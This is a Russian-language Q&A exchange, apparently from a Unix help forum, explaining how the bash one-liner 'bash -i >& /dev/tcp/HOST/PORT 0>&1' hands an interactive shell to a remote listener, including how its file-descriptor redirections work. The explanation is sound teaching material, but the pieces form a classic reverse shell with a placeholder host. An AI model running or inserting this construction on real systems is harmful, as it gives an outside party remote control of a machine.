Ответы:
Этот фрагмент запускает новый интерактивный экземпляр bash ( bash -i) по TCP-соединению с указанным портом на указанном хосте, который создается на время процесса bash. Стандартный вывод и стандартная ошибка отправляются через это соединение ( >& /dev/tcp/HOST/PORT), и стандартный ввод считывается через это соединение ( 0>&1это должно быть, 0<&1но 0>&1тоже работает).
Переадресация портов не происходит. Очевидно, что некоторый TCP-сервер должен прослушивать и принимать соединения на этом HOST: PORT, а брандмауэр должен пропустить соединение.
/dev/tcp/HOST/PORT? Я предположил, что вы заменили имя на, HOSTа число на PORT. В противном случае вы получите сообщение об ошибке от bash. Поскольку вы не упомянули ни одного сообщения об ошибке, я предполагаю, что вы его не видели.
0<&1часть. Я читаю это как «возьми bash stdout ( &1) и отправь в bash stdin ( 0)», что имеет смысл. Не могли бы вы объяснить, как работает эта часть?
0<&1означает подключить все, что в данный момент открыто в файловом дескрипторе 1, к файловому дескриптору 0. Поскольку предыдущее перенаправление >& /dev/tcp/HOST/PORTподключало fd 1 (по умолчанию для перенаправления вывода) /dev/tcp/HOST/PORT, то есть открывало сокет TCP, это дублирует TCP-соединение с файловым дескриптором 0 (то есть тот же сокет теперь также открыт на fd 0, это отличается от 0 </ dev / tcp / HOST / PORT, который открыл бы другой сокет для того же сервера).